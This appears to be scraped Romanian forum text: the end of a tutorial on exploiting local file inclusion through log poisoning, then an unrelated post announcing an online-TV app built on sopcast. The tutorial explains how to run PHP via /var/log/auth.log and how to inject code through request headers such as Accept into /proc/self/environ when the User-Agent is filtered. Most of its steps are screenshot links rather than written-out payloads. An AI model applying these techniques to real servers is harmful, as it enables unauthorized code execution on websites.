Deci m-am logat cu utilizatorul de mai sus si evident ca tentativa de logare a fost inregistrata in fisierul /var/log/auth.log.Acuma daca incerc sa includ din nou fisierul /var/log/auth.log cu parametrul GET a=phpinfo(); ce voi obtine v-a fi asta: http://s23.postimg.org/p8gkd5gvu/image.jpg Acuma la urma am sa va mai arat un demo tot cu log poisoning dar de data asta cu proc/self/environ.Stiu ca mai exista n tutoriale despre proc/self/environ dar acesta este altceva pentru ca nu vom putea injecta codul php in user agent. Deci am pregatit un alt exemplu si avem urmatorul LFI: http://s3.postimg.org/evzgmtpv7/image.png Ok verificam daca exista /proc/self/environ: http://s29.postimg.org/5p285v1mu/image.jpg Totul e bine continutul lui proc/self/environ este afisat dar uitati ce se intampla cand vom incerca sa injectam codul malitios in user agent: http://s7.postimg.org/7pcbc0im3/image.png Nu vom putea face url encode pentru a trece de filtru pus pe <> pentru ca daca vom introduce %3c spre exemplu acesta v-a fi introdus in proc self inviron exact asa cum este %3c si nu se v-a mai executa codul php.Ce putem face:-/? Administratorul site-ului a pus filtru pe useragent dar el nu stie ca orice header trimis ca cerere catre server este inregistrat in proc/self/environ;) Deci voi incerca sa injectez codul in headerul Accept: ... http://s13.postimg.org/5z2yfdqae/image.jpg Si rezultatul v-a fi acesta.Nu conteaza in ce header injectati codul php poate fi Accept-Encoding: sau Accept-Language: acesta v-a fi inregistrat in fisierul /proc/self/environ. Cam atat am avut de prezentat sper sa va fi fost de folos si sa fi placut daca da apasati butonul de like:D Am sa mai rectific sa corectez eventuale greseli gramaticale.

Am creat acest topic pentru ca nu vreau sa ma amestec in topicurile celorlalti, asa ca am sa postez doar in acest topic tot ce este nou in aplicatie. Prima varianta de TV online: Download: IRCGate.ro - Portal romanesc - Downloads Astazi am reusit sa termin versiunea a doua cu urmatoarele modificari: - fiecare categorie are acum mai multe canale - unele posturi au si server 1 sau server 2 - autoplay la fiecare alegere de film - informatii canal TV: adresa url, adresa sop, si fiecare canal are autoplay(cu activ sau inactiv; insa majoritatea au activ) Download: IRCGate.ro - Portal romanesc - Downloads Pentru a rula aplicatia este nevoie sa aveti instalat: NET Framework 4,5 si sopcast.